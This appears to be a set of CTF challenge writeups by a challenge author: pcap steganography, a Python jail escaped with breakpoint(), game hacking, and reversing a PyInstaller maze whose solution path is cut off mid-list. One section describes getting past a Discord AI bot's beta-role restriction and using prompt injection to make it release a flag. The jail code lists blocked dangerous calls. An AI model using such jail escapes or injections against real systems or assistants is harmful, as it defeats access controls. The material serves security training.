- Published on
1337UP LIVE CTF 2023 Writeups
- Authors
- Name
- 0xM4hm0ud
- @0xM4hm0ud
Introduction
These are the writeups of the challenges I made for 1337UP LIVE CTF 2023
Name | Category | Difficulty | Solves |
---|---|---|---|
Over the Wire (part 2) | Warmup | Easy | 166 |
Pyjail | Misc | Easy | 87 |
TriageBot [3] | Misc | Easy | 27 |
Escape | Game | Easy | 89 |
Dark Secrets [2] | Game | Medium | 10 |
Smiley Maze [2] | Game | Medium | 6 |
Obfuscation | Reversing | Easy | 211 |
Lunar Unraveling Adventure [1] | Reversing | Medium | 12 |
Impossible Mission [1] | Reversing | Medium | 5 |
Hidden | Pwn | Easy | 111 |
Stack Up [1] | Pwn | Easy | 3 |
Retro-as-a-Service [1] | Pwn | Medium | 1 |
Seahorse Hide 'n' Seek [1] | Pwn | Hard | 1 |
[1]: This challenge is made by both @DavidP and me.
[2]: This challenge is made by both @Et3rnos and me.
[3]: This challenge is made by both @CryptoCat and me.
Over the Wire (part 2)
CTF | 1337UP LIVE CTF 2023 (CTFtime) |
Author | 0xM4hm0ud |
Category | Warmup |
Solves | 166 |
Difficulty | Easy |
Files | otw_pt2.pcap |
Solution
We get an pcap file as attachment. Lets open it in wireshark and check the protocol hierarchy:
There is a lot of different protocols captured in this capture. One interesting one is SMTP(Simple Mail Transfer Protocol).
Lets filter on smtp and follow the traffic:
It's some communication between 0xM4hm0ud and Cryptocat. It's talking about hiding future secret messages. In stream 114 we can find this message:
We can see some image sent as base64. When saving the base64 as an image we can see that it's just an picture of a cat. As in the message before they probaly used some steg technique to hide messages. When we run exiftool
we can see this:
but this not the flag. Lets check the other packets. In stream 150 we can see another image. This one is a png file. We can use zsteg
on png images. When we run zsteg we can see the flag(flag is hidden in lsb):
Pyjail
CTF | 1337UP LIVE CTF 2023 (CTFtime) |
Author | 0xM4hm0ud |
Category | Misc |
Solves | 87 |
Difficulty | Easy |
Files | jail.py |
Solution
We get an python file as attachment:
import ast
import unicodedata
blacklist = "0123456789[]\"\'._"
check = lambda x: any(w in blacklist for w in x)
def normalize_code(code):
return unicodedata.normalize('NFKC', code)
def execute_code(code):
try:
normalized_code = normalize_code(code)
parsed = ast.parse(code)
for node in ast.walk(parsed):
if isinstance(node, ast.Call):
if isinstance(node.func, ast.Name):
if node.func.id in ("os","system","eval","exec","input","open"):
return "Access denied!"
elif isinstance(node, ast.Import):
return "No imports for you!"
if check(code):
return "Hey, no hacking!"
else:
return exec(normalized_code, {}, {})
except Exception as e:
return str(e)
if __name__ == "__main__":
while True:
user_code = input(">> ")
if user_code.lower() == 'quit':
break
result = execute_code(user_code)
print("Result:", result)
We can see that it takes our input. If quit
is sent the program will exit otherwise it will call execute_code
with out input. In execute_code
it first normalize our input with calling the function normalize_code
:
def normalize_code(code):
return unicodedata.normalize('NFKC', code)
This will normalize unicode. So unicode bypass is not possible. The program then parse the code with ast. It then walks through the tree and check if there is an function call or an import. If there is a function call it checks if the function is in ("os","system","eval","exec","input","open")
. If it is it will not execute our code.
parsed = ast.parse(code)
for node in ast.walk(parsed):
if isinstance(node, ast.Call):
if isinstance(node.func, ast.Name):
if node.func.id in ("os","system","eval","exec","input","open"):
return "Access denied!"
elif isinstance(node, ast.Import):
return "No imports for you!"
After this check it will call check
with our input. check
is:
blacklist = "0123456789[]\"\'._"
check = lambda x: any(w in blacklist for w in x)
This checks if any char in our input is in blacklist. So numbers and []"'._
are not allowed.
After this it will execute our code with exec
: return exec(normalized_code, {}, {})
. We can see that the globals(second param in exec) is an empty dictionary. The builtins are not removed, so we can use builtins function. We cant use import because we checked that with ast. My solution was to use breakpoint. This is an built in function in python:
We then can use this inside our pdb shell to get the flag:
TriageBot
CTF | 1337UP LIVE CTF 2023 (CTFtime) |
Author | 0xM4hm0ud & CryptoCat |
Category | Warmup |
Solves | 27 |
Difficulty | Easy |
Solution
The description talks about an new bot and also about an beta
for full functionality. Lets go to the discord server and talk with the bot.
We have an few options we can send. Those 3 arent helpful and is just sending the same message every time we call the option:
!anyupdate - Check for updates
!support - Ask for support
!bountyplz - Get a bounty
When we try the option !triage
it responds with this:
So we are not a beta tester. In the description it talks about a beta role. The bot is inside the Intigriti server and we can't assign a role ourselves. So we need to invite the bot to our own server. For this we need an invite link. We need to generate the link. We can do it 2 ways. Search online for a random bot and copy the link or enable developer mode and go to the portal where you can generate links aswell(after creating a bot). The link looks like this https://discord.com/api/oauth2/authorize?client_id=CLIENT_ID&permissions=PERMISSION&scope=bot
. We need to find the client id and also set permission. We can use the permission from the bot you found or also check in developer portal for permission. For the client id, you can copy the bot id when right clicking on the bot in the server(if you enabled developer mode). Another way is to use the carl bot:
So now we can fill in the url and invite the bot to our server. In our server we can add the beta role and talk with the bot.
So we are talking with an AI. We can use prompt injection to get the flag here. There are different ways to solve it. I used this payload to get the flag(after some tries it gives the flag):
Escape
CTF | 1337UP LIVE CTF 2023 (CTFtime) |
Author | 0xM4hm0ud |
Category | Game |
Solves | 89 |
Difficulty | Easy |
Solution
This was an unity game. We are trapped inside a box. The description tells us to escape from it. There are different ways to solve it. You can patch the file to double jump or fly, because it was an open box. I used cheatengine to teleport through the walls to the flag. Here you can watch the solution(it's from a different challenge but same solution).
When teleported outside of box we can see another box, when we teleport in that box we can see the flag:
Dark Secrets
CTF | 1337UP LIVE CTF 2023 (CTFtime) |
Author | 0xM4hm0ud & Et3rnos |
Category | Game Hacking |
Solves | 10 |
Difficulty | Medium |
Writeup can be found here
Smiley Maze
CTF | 1337UP LIVE CTF 2023 (CTFtime) |
Author | 0xM4hm0ud & Et3rnos |
Category | Game Hacking |
Solves | 6 |
Difficulty | Medium |
Our friend trapped us inside this maze! can you help us get out of this hell of a place safely? 🎮
Put the flag inside
INTIGRITI{}
and the format of the flag is hex.
A first look into the challenge
When we unzip the provided file, we can see it contains 4 files.
The README.md
is just some instruction that tells us what we need to do if we get an error while running the challenge:
# Instructions
run `./build.sh`
If you get an error, you will need to add xauth cookie. On your host VM, run `xauth list`
Then go to the docker container and run `xauth add :0 . COOKIE`
The Dockerfile
and build.sh
file are just to run the challenge in a docker container, if it will not run on your machine.
If we check the challenge file and run the command file
we see:
A stripped ELF binary. If we run the game we can see that we are inside a maze:
We see hex values everywhere where we can walk. Based on the description we assume we need to solve the maze and get the flag by taking the hex values from the way we solve the maze.
Reversing the game
When we run the command strings -n 10 smileymaze
we see:
So this ELF binary is actually a compiled python program. So it's probably compiled with: pyinstaller. We can extract the bytecode with: pyinstxtractor.
Lets extract it:
We dont see any errors. This means it's compiled with python version 3.11. As far as I know there aren't any decompilers available for version 3.11. We can get the bytecode out of the pyc file. For this I used this python script:
import dis
import marshal
with open('smileymaze_extracted/main.pyc', 'rb') as f:
f.seek(16)
dis.dis(marshal.load(f))
Run it with this command: python3 decompile.py > output
. We skip the first 16 bytes because with the first 16 bytes the marshal.load()
gives an error.
Reverse the bytecode
Now we need to understand how the maze is created and what the begin and finish is. We need to solve the maze and we are not going to do it manually. So we will use the python library: mazelib. With mazelib we can solve a maze automatically. There are different algorithms we can use: algorithms. If we want to solve a maze we need a few things: start, end and the map.
We can find the end here in function checkfinish
:
Disassembly of <code object checkfinish at 0x7fb231b25730, file "main.py", line 38>:
38 0 RESUME 0
39 2 LOAD_GLOBAL 0 (j)
14 LOAD_CONST 1 (125)
16 COMPARE_OP 2 (==)
22 POP_JUMP_FORWARD_IF_FALSE 13 (to 50)
24 LOAD_GLOBAL 2 (i)
36 LOAD_CONST 2 (1)
38 COMPARE_OP 2 (==)
44 POP_JUMP_FORWARD_IF_FALSE 4 (to 54)
40 46 LOAD_CONST 3 (True)
48 RETURN_VALUE
39 >> 50 LOAD_CONST 0 (None)
52 RETURN_VALUE
>> 54 LOAD_CONST 0 (None)
56 RETURN_VALUE
So finish is at (125, 1)
.
We can see at the beginning of the file that the start position is set at (59, 199)
:
30 >> 286 LOAD_CONST 11 ((59, 199))
288 STORE_NAME 11 (position)
32 290 LOAD_NAME 11 (position)
292 LOAD_CONST 0 (0)
294 BINARY_SUBSCR
304 STORE_GLOBAL 12 (j)
33 306 LOAD_NAME 11 (position)
308 LOAD_CONST 9 (1)
310 BINARY_SUBSCR
320 STORE_GLOBAL 8 (i)
We can see that the map is created here:
20 22 LOAD_CONST 3 ('SOME WEIRD STRING HERE')
......
......
24 STORE_NAME 3 (m_string)
22 30 LOAD_CONST 5 (201)
32 STORE_NAME 5 (size)
24 34 BUILD_LIST 0
36 STORE_NAME 6 (m)
25 38 PUSH_NULL
40 LOAD_NAME 7 (range)
42 LOAD_CONST 0 (0)
44 LOAD_NAME 5 (size)
46 LOAD_CONST 6 (2)
48 BINARY_OP 8 (**)
52 PRECALL 2
56 CALL 2
66 GET_ITER
>> 68 FOR_ITER 108 (to 286)
70 STORE_GLOBAL 8 (i)
26 72 LOAD_GLOBAL 16 (i)
84 LOAD_NAME 5 (size)
86 BINARY_OP 6 (%)
90 LOAD_CONST 0 (0)
92 COMPARE_OP 2 (==)
98 POP_JUMP_FORWARD_IF_FALSE 21 (to 142)
27 100 LOAD_NAME 6 (m)
102 LOAD_METHOD 9 (append)
124 BUILD_LIST 0
126 PRECALL 1
130 CALL 1
140 POP_TOP
28 >> 142 LOAD_NAME 6 (m)
144 LOAD_CONST 7 (-1)
146 BINARY_SUBSCR
156 LOAD_METHOD 9 (append)
178 PUSH_NULL
180 LOAD_NAME 10 (ord)
182 LOAD_NAME 3 (m_string)
184 LOAD_GLOBAL 16 (i)
196 LOAD_CONST 8 (8)
198 BINARY_OP 2 (//)
202 BINARY_SUBSCR
212 PRECALL 1
216 CALL 1
226 LOAD_CONST 9 (1)
228 LOAD_CONST 10 (7)
230 LOAD_GLOBAL 16 (i)
242 LOAD_CONST 8 (8)
244 BINARY_OP 6 (%)
248 BINARY_OP 10 (-)
252 BINARY_OP 3 (<<)
256 BINARY_OP 1 (&)
260 POP_JUMP_FORWARD_IF_FALSE 2 (to 266)
262 LOAD_CONST 9 (1)
264 JUMP_FORWARD 1 (to 268)
>> 266 LOAD_CONST 0 (0)
>> 268 PRECALL 1
272 CALL 1
282 POP_TOP
284 JUMP_BACKWARD 109 (to 68)
We can ask chatgpt to reverse this to python code. It won't be 100% correct, but this the output after some small changes:
m_string = "WEIRD STRING"
size = 201
grid = []
for i in range(0, size**2):
if i % size == 0:
grid.append([])
grid[-1].append(ord(m_string[i // 8]) >> (7 - i % 8) & 1)
If we give this grid to mazlib it will error: TypeError: Argument 'grid' has incorrect type (expected numpy.ndarray, got list)
. So we need to convert the list to a numpy array. We can do this with: arr = np.array(grid, dtype=np.int8)
.
Now we have the first part:
from mazelib.solve.BacktrackingSolver import BacktrackingSolver
from mazelib import Maze
import numpy as np
m_string = "ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÕE\x05\x04Q\x01\x10DP\x10\x00\x00\x01\x00\x00D\x00\x04DAU\x05P\x15\x15j®ú¿ªîëû®¿ëÿûﻺûëºûª¾«ºº´DU\x10\x01\x11\x14T\x04P\x14AD\x01EDQ\x04\x04\x01\x04\x04\x00T\x05\x1aúêîê»»ªïï«û»ï¯»îûîºîÿ®úî¼\x01\x10PUE@\x00@\x05U@\x00EQ\x00\x00Q\x05UD\x04QTT\x16®ë¯¯ï¿ï¯ê»ºÿ¾¯ÿïîºû»¾ëê®ûQ\x00PP\x00\x10\x05\x15UU\x05Q\x01\x11U\x15EDE\x15UDD@\x11»ÿëî®ï®î®ªºë﫪îºîúꪻúúºÑ\x01\x00TTE\x15\x14A\x04\x05QUUA\x00\x14\x05\x00\x14\x00Q\x10UAn¾úïÿúþ¾þ»¿îªººÿëþÿ»¯«¾ë¯õUE\x11\x05\x05\x04EP\x11\x14\x11\x00\x01EE\x14\x14\x15\x00\x11P\x10\x04P\x1eê»ëêî¿®®îë»ë¾»ºëêêþ¿»þ®ªì\x15@\x15\x14@\x04\x04\x04TU\x00EP\x05P\x00P\x10\x14D\x00\x00PUW®¾úï»»úïëªî믺«ë¯ºº¯ºú®»¯P\x00\x00@\x01\x05\x10T\x14A\x05\x05\x01D\x01EQ\x05@P\x05\x05TU\x05¾û»º»îïëëêú»û¾û¿«¯ûë»»ÿûúÐ\x11E\x01PT\x01@\x00\x15\x01\x15Q\x00\x15E\x00\x11EDDP\x00ADo¾¿ï®ïï®ïëïû¯þº®»¿º»ÿÿ«îºð\x11\x10\x04\x14@\x00\x04D\x01AE\x04DTP\x15\x04\x00\x10\x00\x01T\x05Q^þ®ë¿îÿ»ïª»ºû»»ïú®êþú¾«¾ë\xad@\x14\x15P\x04\x10\x04E\x15AAP\x00\x11\x15AT\x15@AA\x15@\x00F¾ï¿¾îºîþûÿ®®¾îê¾ûºûºîÿºÿû\x14@Q\x00AEAQE@\x04\x04TA\x00\x00\x00EQ\x05\x11\x00\x05\x10E«ûûï¯ïê¯«ûïúû믪ê¯ïþ®¯Ð@Q\x11\x14\x04\x05A\x00\x15T\x14\x00D\x11E\x05Q\x11UT\x14UUP{»®¾ÿ»ûûïꮿîÿ¿îë®êë®îêþºðQ\x14\x01Q\x10E@P@TT\x05\x00\x00\x00\x14\x11\x15@P\x14\x00P\x01_ûûûî꫺«þ¿ºþ¿®ê®ïºþ»®û®þíD@\x00\x00\x05TA@@T\x10@\x04\x11ET\x14\x11@EP\x14@\x14\x16®®ªîêî¯êîûîÿïúþ«¾ÿîï¿»®û«\x00UUEE\x15D\x05\x14QA@\x05A\x10TAP\x04\x10\x04@QQ\x11ª¾þêïþëî¿ê¯¿®®ª«ëîëºîûÿªûÕPA\x15\x05D\x04\x15A\x11\x01\x10\x14\x05UTT@\x14Q\x10\x04\x10A\x10n¿»ûî»ëúÿêïê¿þ¿¾ïïúîú»þîê±P\x11A\x05\x00\x05\x10\x14\x01E\x15P\x00\x04\x10TT\x01A\x15E\x00QUZ»îªî¿«ê»»¾¾¿¾îÿê﫺ºï¯ë¯\xadE\x00E@D\x15APDQ\x00T\x10\x14A@\x10\x15\x05P@\x10Q\x05\x16ï¿¿º«ïºþþûê»ûïú»ï®ï¾û¯ëêÿD\x15\x04\x11U\x01Q\x10\x00\x10\x05T\x01AU\x00@\x14\x14\x04A\x10\x14D\x01ﺫ»ÿ¿®þ®¾«ûû««ºî®¯»ªîëû¾Å\x10\x14E\x14\x14\x00@QPUDE\x05\x01E\x14QPPU\x11\x10DE~þ»¾ëê»îþ¿îºûû»úëû»î®®±PQ\x14\x11DTDPQ\x04@\x10\x05\x04\x05UEAE\x15\x05\x11ET^¯¿ëþ®ºÿï¾ïûîûÿ«»î¾þºë»î®ü\x01TQP\x15D@\x00\x10\x01\x01\x01D\x01\x15DQT\x15\x11T\x05AP\x07þ»®®þþ¾þ¯«ÿîûºþ¯ê뺮»ï\x15\x04\x00\x00\x04PD\x10T\x14D\x14\x00\x15\x00AAQU\x14\x00E\x05\x14Qêû«¾»®úþîîî¯þúþ¾¿«ªîëëÀ\x00\x14DP\x00A@\x14APP\x00@PP\x01\x10\x00\x14DD\x10Q\x00j®¾ûîî¾ÿû«îþîû®ú®î»û»ª®îþõUP\x04AQED\x01T\x14ADQ\x04\x15QAD\x10QUQ\x01\x11\x1aê¿®»«¾ûú¾ûîîï¿»»ëêþîªï®¾½\x15\x04\x15Q\x10AT\x15A@\x04\x04\x14\x11\x04\x10EE\x01QEPQA\x06ïªî뺿«êúï¿îúîïï¾»þî»ëûïï\x11\x15TE\x15T\x05\x00E\x04\x10\x04QA\x01\x04\x05@\x04\x10PD\x04@\x11º¯¯¿ú»îÿûî¿ûî»ëû®þ¿®«êêîþÑQ\x15\x05\x10P\x10\x05D\x04APTQ\x04\x11T@@TTTU\x11Enûúú¿ÿºú®î¯ªë»þþ¾ÿª¾¾îïú®ñ@@\x01U\x11QD\x00DT\x05@\x01@A@\x11\x15PPP\x00\x11@\x1aêᆰë®ë««¯»îêªûêë«»ªëîîúíEUP\x01@\x00D\x15\x15\x14\x10Q\x15\x15@\x05@\x15\x04U@D\x11\x15F못¾ºîë뾿º¯¾¯ºïþîþë®ê«û»U\x11\x01\x10\x15AUE\x14QQ@PT\x05@@D\x05DU\x15T\x10E¯þúÿë¿ï«ë¾»ïº®û«þûî¿ê¾ïîþÁ\x00AA@\x10@\x04T\x05\x11\x04\x01UPTP@ATE\x05\x15@\x01{úëû¿¿¿ëîê»úë¾îîïºÿ«¿®ê«ïðUE\x04\x01U\x11T@E\x01UU\x01\x01E\x15\x11DA\x00P\x15\x04@_ª«îûºº«û»ûª®«î¾êï«»ûîÿ®ú¬\x05U@\x15\x01\x01\x01E\x10@@PTD\x00\x14\x04\x04DT\x04\x01\x14\x11G¾»»ºû®®¯î®ûªþÿ»ÿïëªë¿¿PQ\x00P\x04\x14QD\x04TPU\x14\x11\x04@\x00\x14\x01P\x15UU\x14\x01¿»ûþª¾¯û¿¿ïîë¾þúªû¾ÿ¾îëë¯ÔUD@TTUE\x00P\x04AA\x14\x00\x05UPPU\x01DA\x01Pjë»ÿîúþººûúê¾úûîëêëê뻿º»±\x14P\x01\x05@\x15D\x05Q\x01ED\x10@A\x15A\x14@\x05\x05@U\x10Zêï»þûú¯ïëþº«¾þ»º¾ÿî»ï¿ûïíA\x11QEQ\x14\x00\x04PU\x01UP@PQ@PTD@\x01\x10@\x17¾»ºº«ë¯»«êºî«úêþº®î®ÿ»ëúë\x04\x14ED\x05U\x14\x05\x04@\x11\x11DAE@E@\x05T\x04\x10\x00\x11\x15ûë»»»ªÿïëûþûûëþªºîï¾î¾ÄAU\x15\x10\x00DET\x14E@PPDQ\x05DU\x05\x15E\x01\x14A{»ªêᆵ¾®êú«ÿïªï믻þºªî¿ë°\x14T@TQDA\x15@A\x14A\x15\x05@\x04\x10\x05\x00DU\x01D\x04_ªë¿¯¾ë¯êû¿îºê¯¾ë®ëû¿îïï¾ì\x10@\x04A\x00TUT\x04P\x04Q\x00\x11\x01DTD@@A@D\x01V»ªï«û¯ª«®ë»¿ªîëë¯êîîªë»ê«EE\x14UU\x00\x00\x00PDQ\x05\x15D\x15\x15Q\x05E\x14U\x15\x10\x15E®º¾î«¾«»¾¾»î¾û®»®êª»«¿®ûîÔ\x15Q\x05\x04DU\x11AQQ\x05\x10\x11T\x15EUUQ\x14A\x14\x11\x01o«ë¿î®¾ººÿú¾ëªë¿¾þêû¿êµ\x14\x00\x00\x01A\x10\x04E\x04\x05Q\x15E\x15@E\x01\x04\x00\x01\x15A\x15\x15^ëþû»«¯»ú¾îºê»ªîêºþ®ÿ¿þ꿬\x05\x00\x05\x04\x04UE\x01\x10\x15EP\x00\x14\x01\x15U@T\x05A@P\x01Vÿ®«¾ëî®ëª¾ïﻫ»û»»û¾«¾ê¿¿P\x11UDD\x14\x14\x15\x15D\x01\x14\x05\x14DTP\x04Q\x00\x14\x01A@\x01ë«ÿ¯ë¾«ïû請«îþêû¾¯î«û»êïÑ\x15\x00\x14\x04TP\x15AT\x15@U\x01P@\x15\x14P\x01T\x05T\x15Djêë®ûû¾þ»«ëê®ú¯ªûëû¯¾ï«ºþõ\x15U\x10@\x10\x11@\x01\x01\x04EAAAUQ\x04\x11\x14\x01\x10A\x05\x00Zÿîî¾î®¯ê¾ºþûþÿ¿îë¿ï¿«î뻬\x01@\x14T\x15T\x14\x05DQ@@\x10\x01@\x00\x05AQPU\x01\x15\x04G«®¿úþ꯻»ºº¾þê¾ÿ«®ªº¿êú«ï\x15\x05Q\x00\x00UQ\x11QEEP\x10EPP\x14D\x01\x01@\x15\x05TAîêþ¾®ªê«¯¾»¯îûû¾ê꾯»ëÑE\x14\x04QQ\x15ED\x01U\x14\x14Q\x05\x04\x10A\x04E\x15DT\x04\x14nÿêþ»êû®®ëîþúþîû¾îëê®ï¿¾®°@\x00\x04T\x15\x15\x14\x14TAUA@\x10\x14\x01DDEU@P\x04QZ¯ºïª¯û¿îëëêþïºú뺮úªû¾¯¯\xadT\x11\x14\x14PP\x05\x15@\x14U\x00\x11\x05@\x15\x05T\x11T\x04AQQ\x17»ê¿¾û«þê«¿ªï»êºï￾ë¯¿\x11EDT\x14PP\x00TQP\x04\x01\x05Q@AP\x01D\x15UQ\x00Qï¯þêúúï¾ëþ¾ÿª®þ®¯»êªºú¾»ûÁ\x04\x14D\x10\x11\x15\x15\x14@\x11P\x15U\x11TU\x15\x05UPE\x00DT~«ª¿úºúº®î¾»¾¾»úîþºî®ªðTPA\x01Q\x10\x14\x15AP\x01\x10T\x11TU\x00\x01D\x01D\x01TT_ïþºúîþ«®»«®®úëºú®®ïº®úÿª¬\x04\x11Q\x01D\x11Q\x14\x11Q\x11TD\x10AT\x11U\x15EQA\x00PG¿®¿¿»ûÿûûïúþê»î¾º»þ¯î«\x14UP\x04\x10P\x00\x00E\x11\x14\x01\x11A\x11\x00P\x11\x10\x05P@UTU꺿»®ë¿úþ¾ëï¾¾ûª¾®®¾¿ëº«ºÅ@\x00\x10T\x10P\x01\x10\x04DUT\x10\x04\x15PTPEDE\x05\x00E~ú¾ïê»ïîîë¾êªê¿¿ÿ¿¯¾þÿ¾ûïð\x01P\x10UQ\x00EAE\x04EQAAE\x00\x10\x14\x00\x00\x10\x01PA\x1e¯ºÿïúú뻮껪û®ÿ¾ªúïîþíT\x15@\x00\x01AA\x10D\x15\x10\x00\x05E\x05\x01\x11A\x14UQ@P\x04Fû믾úû¿ëþ¾¿»þúïîîþº¿®ûï¯ïE\x05\x14\x10\x11\x04PDTDP\x15T\x05A\x04Q\x10\x04@DP\x01\x10\x01»þïêê«ÿ®ëëþ»«¿ÿûªºûûÿ¯¿îþÀ\x00\x00UEU\x00\x05\x14\x05\x14PEA\x00\x05EED\x04\x04PD\x01\x04{ÿîªî«»®ºï»êº¯úº¯«ªþªþ¯ûîµ\x14\x01U\x11U\x10T\x10A\x00UT\x04EPAU\x14\x04UDP@QZëûë¿»þ¯®ûÿ«êêúû»¯þ¯»¯ºúîí@\x01\x04\x04\x04\x04T\x14\x11P\x00\x10U\x11A\x05\x00\x10PP\x01\x15\x11\x01Fÿþ¾îïÿ¿®¾®þ¿®¾îïêþºþ»êÿî»\x14\x10ED\x11\x10\x10\x15P@ATA\x04\x04A\x15TQ\x05D\x01\x01\x04Eë¾¾»¿îîú¯ªêû¿¿¯ú¾ëª¾ëºïï¾Ð\x15P\x04A\x00\x15@Q\x15E\x04\x00\x01U\x01\x10\x10U@\x15\x05@\x15\x05k꾺¯úî¾ûÿûúþª¾ú¯ú¯ïºëúºîð@\x01ET\x05D\x15PU\x01\x10QU\x10\x01UEEAUD\x05P\x10\x1fÿ뻺¯ÿêîê»ëëë««®ºêºª¾ê¾û¼\x00\x05PEU\x00\x01\x10\x11\x05P@\x04TTQ\x00D\x05\x11D\x15T\x04Gûî¯ïîÿûªîþ¯º®»îÿ¾ú¾êÿ¿êî¿DDAD\x00\x05QQU\x00\x04QTDA\x11\x10\x11EE\x01\x00\x11\x14A®û몾®ú«»»¯ï¾î®ú¿ëû»«¯ÀPEEPA\x00\x11D\x01TA\x04QA\x04\x05T\x11ED\x10PTQz«ú®ÿûï¯êû»îîûªþªÿ®¾»»¾¾ú±Q\x01ADP\x04\x10\x15Q\x11\x14DQ\x15@TP\x11\x00\x04Q\x05AQZúë뻫»îïïÿîú®¿ª¾ê»¯»®ú¿ª\xad\x05DED@DAAA\x14\x00\x11P\x00UDQPPQ\x11\x14AQG¯ê꯫ºº«ÿû¾ï¯ëîªÿê믮»\x11\x05DPEET\x15\x01\x00T@\x15AT\x15\x05AUU\x15@P\x14E»ûëîû®ÿ«ûëîþê»ïêê«þª¿ûëû®ÅPD@DE\x14\x15EDAP@\x10E\x04\x05\x14A@\x01\x00T\x11\x14o®ïþªîêÿ®»úëþïîúûîþ¾¾ï®ÿ¾µ\x00\x14\x00TA\x01P\x00\x10AE@\x11@\x01\x05\x04\x10\x01A\x10EDP^ïªþ¾ªªª¯»ÿû»«ªª»îﻯþîîÿ¼\x01\x15@PUUEU\x11\x00\x00\x00T\x15UD\x14E\x10PQ@\x00\x04\x07úûê¾îþ¿úïÿ¿¾ú뻯»ú»ïëºû®ï\x01@EPD@P\x00D\x00\x10PAE\x10Q\x05TE\x00\x00Q\x05\x11\x11þþÿ¿¯«ûªûþï¿«þ¾û¿ªëê®þ®®ûÀ\x04\x14P\x14\x15A\x15A\x00A\x00\x14@A\x04P\x00E\x05Q\x14QQ\x10j﫯º¯¾û¯¾ûú¾ú«¾¾ê«ûîûº»»õA\x14\x00UQ\x00\x05\x10DQAPATDT\x15T\x15\x01\x00EQ\x04\x1bûê®û»¿®êïî¿¿¿ú¯ë«ë»»¯º«¾½\x01EUA\x10T\x14\x15\x14\x00\x04\x10A\x01QQ\x15\x04A\x14TETPF»ºººîûﺮ»ª¿¯®û«ïºúêê¯þîïU\x01PQ\x01@\x01\x11UPUP\x01QD@@QAADQ\x00QAûþû¾ïúûëîûï¿ê«®®»«¾ëêþþïîÄ\x00\x05AD\x01@DD\x00A\x10\x05E\x01QQ\x15T\x14\x15D\x04\x00\x15oï¾»®þªúþ®îîþ»ïûº»«þ«¯»¯ºõ\x01\x01A\x11PU\x11AQEDPD\x10DQU\x00\x10U\x00DQ\x04Zû»¾ûªº»þþº¿ª®ºêú¯ï®«êì\x01DP\x05\x11EQ\x11\x15PP\x11TQ\x05TA\x10\x11P\x11\x15T\x15\x07ëªþ¾îïÿîêê¿þ¯ª®ë¯þ¿®«êúî»U\x05ETA\x15D\x04AUD\x00T\x15Q@UQTTT\x14\x05\x11Uªîºêï¾»»¾¯»ëïë«îî®êþººþûªÁTD\x01E\x04\x01T\x04\x00\x11DE\x05\x14\x14U\x11P\x04UQ\x01\x10Uj«ÿª¾¯ªºº»¾¾þú¯¿®î«®ûú¯¾êµP\x04\x15D\x11U\x14TE\x01\x11\x04\x01Q\x01\x10\x00\x01\x14\x01\x15QPDZ»úªêë®ë뮺»¿ºïëïïþ¯ê«º¿ë½EAUEE\x01@\x01QQP\x10\x15@E\x15\x04\x14PE\x11\x11\x04U\x07«»ïÿ®»¾®¾º¾ÿ¾ÿ»¾û¯ÿ»¯ï\x01\x11\x15\x15\x10D\x05\x15\x10PTAPU\x05\x05AP\x01E\x10\x10\x04\x05\x01û¾þïþîúê»îþú»ª¾ê¾ªîîû¯îêîÁ\x01\x00\x01\x10DA\x14PA@\x11QQ\x01\x14\x15\x01A\x01\x04PA\x14Unëúúëÿþï¾»¯¾û»ï¿ºº»ï¾þÿ몵DEAUE\x15\x15QPTA\x15\x00D\x10\x05UP\x10AE\x00DPZúººê»»ï«ºúû뺫¾ûë®îêºí\x11@TP\x00\x00D\x00\x04U\x05\x01EPA\x10\x01\x04\x04\x14A\x11\x15QW¾úî¾î«ºªëîëºú¯îû¿®ï¯ï»î¯¯\x00\x05\x14T\x14U\x00U\x15@\x15Q\x10E\x01EU\x11\x11\x14\x00\x04TQU꾫뿾®ëªú®ûﺻ¾ï»¿ïûªÄA\x11ATU\x04T\x10\x14\x11EUPA\x10\x00\x11\x05A\x15\x00\x14\x15P~ëûªû¿ªê®ëú®ë못ê®îëꮪª®´D\x15\x05P\x05UAQDQA@\x04UA\x05Q@\x14DQPQ\x04[ú««î¾®¯ï»ªïªë»ïºêï¯úîÿÿû¼\x01Q\x15\x00T\x04U\x05\x14UDU\x15\x11\x05U\x15\x10Q\x05D\x15E\x04Fîúî뺯úºêûêÿ¿ïú»»úû¾úº®ºëD\x11\x14E\x10T\x00P\x11@\x04\x10\x01\x04\x01\x00\x05\x01@\x01A@\x00\x05Eÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ\x01"
size = 201
grid = []
for i in range(0, size**2):
if i % size == 0:
grid.append([])
grid[-1].append(ord(m_string[i // 8]) >> (7 - i % 8) & 1)
arr = np.array(grid, dtype=np.int8)
m = Maze()
m.grid = arr
m.start = (59, 199)
m.end = (125, 1)
m.solver = BacktrackingSolver()
m.solve()
solution = m.solutions[0]
If we run this, we get this solution:
[(59, 198), (59, 197), (59, 196), (59, 195), (59, 194), (59, 193), (59, 192), (59, 191), (58, 191), (57, 191), (56, 191), (55, 191), (55, 190), (55, 189), (54, 189), (53, 189), (52, 189), (51, 189), (50, 189), (49, 189), (49, 188), (49, 187), (48, 187), (47, 187), (47, 186), (47, 185), (46, 185), (45, 185), (45, 184), (45, 183), (44, 183), (43, 183), (42, 183), (41, 183), (41, 182), (41, 181), (41, 180), (41, 179), (40, 179), (39, 179), (39, 178), (39, 177), (39, 176), (39, 175), (39, 174), (39, 173), (38, 173), (37, 173), (37, 172), (37, 171), (37, 170), (37, 169), (37, 168), (37, 167), (36, 167), (35, 167), (34, 167), (33, 167), (33, 166), (33, 165), (33, 164), (33, 163), (32, 163), (31, 163), (31, 162), (31, 161), (31, 160), (31, 159), (31, 158), (31, 157), (30, 157), (29, 157), (28, 157), (27, 157), (27, 156), (27, 155), (28, 155), (29, 155), (29, 154), (29, 153), (29, 152), (29, 151), (29, 150), (29, 149), (30, 149), (31, 149), (31, 148), (31, 147), (32, 147), (33, 147), (34, 147), (35, 147), (35, 146), (35, 145), (35, 144), (35, 143), (35, 142), (35, 141), (36, 141), (37, 141), (37, 140), (37, 139), (38, 139), (39, 139), (39, 138), (39, 137), (39, 136), (39, 135), (39, 134), (39, 133), (38, 133), (37, 133), (37, 132), (37, 131), (37, 130), (37, 129), (37, 128), (37, 127), (38, 127), (39, 127), (39, 126), (39, 125), (39, 124), (39, 123), (39, 122), (39, 121), (40, 121), (41, 121), (42, 121), (43, 121), (44, 121), (45, 121), (46, 121), (47, 121), (47, 120), (47, 119), (47, 118), (47, 117), (47, 116), (47, 115), (47, 114), (47, 113), (46, 113), (45, 113), (45, 112), (45, 111), (46, 111), (47, 111), (48, 111), (49, 